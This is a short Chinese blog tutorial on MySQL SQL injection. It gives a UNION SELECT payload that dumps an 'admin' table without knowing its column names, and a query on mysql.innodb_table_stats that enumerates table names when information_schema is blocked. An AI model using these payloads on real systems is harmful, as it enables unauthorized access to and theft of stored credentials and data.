Mysql注入时,猜不到列名,获取所有数据

Mr.Wu 2,420 0 正在检测是否收录...

有时候我们不知道列名,因为不能访问Information_Schema或者其他原因
但是我们知道表名,我们可以在不知道列名的情况下dump出该表的全部数据

我们有两个表 article、admin

方案一

select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b,3 c UNION SELECT * FROM admin)x

方案二
方案二是在exploit-db上看到的文章,Mysql版本大于5.5的情况下,
默认mysql数据库中多了两个表innodb_table_stats、innodb_table_index用来储存所有数据库名和表名

如果我们想获取某个数据库下面所有表名称

select table_name from mysql.innodb_table_stats where database_name=数据库名;

参考地址:
https://www.exploit-db.com/docs/41274.pdf
https://www.t00ls.net/articles-39545.html

打赏
发表评论 取消回复
表情 图片 链接 代码

分享
微信
微博
QQ